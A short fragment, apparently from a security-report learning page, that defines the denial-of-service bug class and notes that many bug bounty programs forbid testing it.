Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.